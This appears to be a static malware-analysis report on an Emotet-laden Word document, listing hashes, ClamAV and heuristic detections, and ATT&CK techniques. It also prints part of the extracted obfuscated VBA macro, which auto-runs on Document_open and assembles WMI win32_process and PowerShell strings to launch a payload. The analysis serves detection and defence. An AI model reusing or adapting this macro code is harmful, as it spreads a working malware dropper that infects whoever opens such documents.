Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 5ab5d3125c02cf90…

MALICIOUS

Office (OLE)

231.8 KB Created: 2020-01-13 22:13:00 Authoring application: Microsoft Office Word First seen: 2020-09-04
MD5: e74646815b723c8fbe28200fc7c489bf SHA-1: a41d4f2da074e20a9da819f7d68ee5866400ef8f SHA-256: 5ab5d3125c02cf90f594c5e149dda8f657fd794f30fc49b47f576eac0797db15
202 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The file is identified as malicious by ClamAV with the signature 'Doc.Malware.Emotet-7535868-0', strongly indicating the Emotet family. The presence of a 'Document_Open' macro and a 'GetObject' call within the VBA code suggests an attempt to automatically execute malicious code upon opening the document. This macro functionality is a common characteristic of Emotet's initial infection vector.

Heuristics 6

  • ClamAV: Doc.Malware.Emotet-7535868-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Emotet-7535868-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 23153 bytes
SHA-256: 9ffe70b6070300c27951a7745b3c1c6667df122454feaebce68c01e8ef82e585
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Btwrjobu"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_open()
Raipvfdwsgh
End Sub

Attribute VB_Name = "Hrjwxtjr"
Attribute VB_Base = "0{E2CD0317-43FE-41A2-BBAF-7F0C25C5E328}{3901AC7A-0F76-4A1A-809E-65D8C06BFB48}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "Ceqbzfoq"
Function Ewtonnny()
   Kxxrlelz = Epyzxwdtmxnaf - Qqtleaecanx
   Do While Pnerojfyi = 3
      Select Case Akhlyqkrlcv
         Case Okzznymzzxdy
            Lwgqhgcktstdj = CBool(2 * Hex(Lduyldekf))
            Yqandmfuzv = Chr(Niqdqggjoj)
            Tizhshlaexh = 2
         Case 3
            Fphyodjfrh = Zndzcwovmuumy
            Jfhqaetlrzlz = CStr(Icbjlttiac)
            Pxluuamlaajr = Fcmarwjldstd
      End Select
Loop
Omqstnqzvkld = Hrjwxtjr.Bdtahhjjl
   Lqeogeevu = Tqhuifsqirjtf - Hizingjdycqs
   Do While Ppdeenggdbbtx = 3
      Select Case Cwztnxvvmrs
         Case Jrrntqscgo
            Mbfyhuido = CBool(2 * Hex(Rymcuurnl))
            Wmjnahnmwixl = Chr(Qwfwjgxnlaohn)
            Obqftetpt = 2
         Case 3
            Qczxtnlh = Lqcwvjajystoe
            Hfhrxgldh = CStr(Nogavgvjdkni)
            Sgvbhbxsqmhe = Rznugavmc
      End Select
Loop
Wvtwafeiva = Omqstnqzvkld + "ower" + Chr(Hrjwxtjr.Stqxbzziwj + Hrjwxtjr.Stqxbzziwj.Width) + Hrjwxtjr.Icrdunpvezc + Hrjwxtjr.Rfkvfigmijpm
   Wobulajuxsusy = Yovtnhwdt - Nlgvlivizpc
   Do While Zmtzfdazjay = 3
      Select Case Hvpakhexm
         Case Chlwpxqviht
            Xyqoodlifdb = CBool(2 * Hex(Zevcqmpfwyre))
            Kcianubclq = Chr(Jmfxdkwwx)
            Gqhliaay = 2
         Case 3
            Rafwdngrx = Nidcazuh
            Ozbbjgitblr = CStr(Rlzaawqf)
            Wthdjhbfrcrd = Vthxxvhm
      End Select
Loop
Bdalzwfo = Wvtwafeiva + Trim(Hrjwxtjr.Gldqlatv.Tag)
   Qjuwjkxeftmb = Kkjexcppurfwf - Uypicwmfebl
   Do While Vquesxihrvsu = 3
      Select Case Ocqmffql
         Case Seaxefdmfwudx
            Hjgccwoz = CBool(2 * Hex(Cnogsbkvwlnwk))
            Sgoggkfpjy = Chr(Isbeefzcrp)
            Ukiappkzdp = 2
         Case 3
            Ztonwyfiwqb = Hjrkavdablwcf
            Nwhsilelqmft = CStr(Qeifeigsocuho)
            Rlrzmuaii = Dxayvctdlh
      End Select
Loop
Ewtonnny = Dedafkamjxgv + Bdalzwfo + Dedafkamjxgv
   Ykslpnpdiwww = Fhcbogkj - Wytyubdmmzbut
   Do While Qgjppbgxp = 3
      Select Case Dgbkionvpr
         Case Ihskkackndw
            Buhvpbeokxxkc = CBool(2 * Hex(Hyjnwpaiwq))
            Mzwzjdkgufzzp = Chr(Yjuzhjpd)
            Jbkblkfserpo = 2
         Case 3
            Grlsbyjygnb = Ronwwhfa
            Eiuuhkxmjlhsq = CStr(Bqkkuxzniodrv)
            Tnergjgec = Arnuyypzvq
      End Select
Loop
End Function
Function Raipvfdwsgh()
IO = "82hn2b&+::82hn2b&+::in82hn2b&+::mg82hn2b&+::m82hn2b&+::t82hn2b&+::82hn2b&+::" + Chr(Hrjwxtjr.Stqxbzziwj + Hrjwxtjr.Stqxbzziwj.Width) + "82hn2b&+:::82hn2b&+::w82hn2b&+::in82hn2b&+::3282hn2b&+::_82hn2b&+::82hn2b&+::" + Hrjwxtjr.Bdtahhjjl + "82hn2b&+::ro82hn2b&+::c82hn2b&+::es82hn2b&+::s82hn2b&+::"
   Fzjesxhzaal = Fsshlbpb - Qerlkvovzafq
   Do While Mhchkddeqbhnl = 3
      Select Case Vwmshsaa
         Case Emfmcxpasudzi
            Omnqdwjrvd = CBool(2 * Hex(Xkgmgpkgqysn))
            Ntcwvowisfmk = Chr(Vvjizerp)
            Wjyjtquall = 2
         Case 3
            Pyiowpsazwh = Voknzbxhta
            Mocllyxrffl = CStr(Ibxkjzcoyx)
            Mmjlivywyj = Pnxjrfqdkdr
      End Select
Loop
GO = "82hn2b&+::"
   Jbfsrbkrkw = Saykmytrowheq - Hathhusmjyi
   Do While Tebcmuvcshv = 3
      Select Case Fxmtbcokcrqot
         Case Nomdzdyk
            Rvgoosyyl = CBool(2 * Hex(Zqxgjfqnlntt))
            Evrjsgmrokg = Chr(Nyrqhmfoy
... (truncated)

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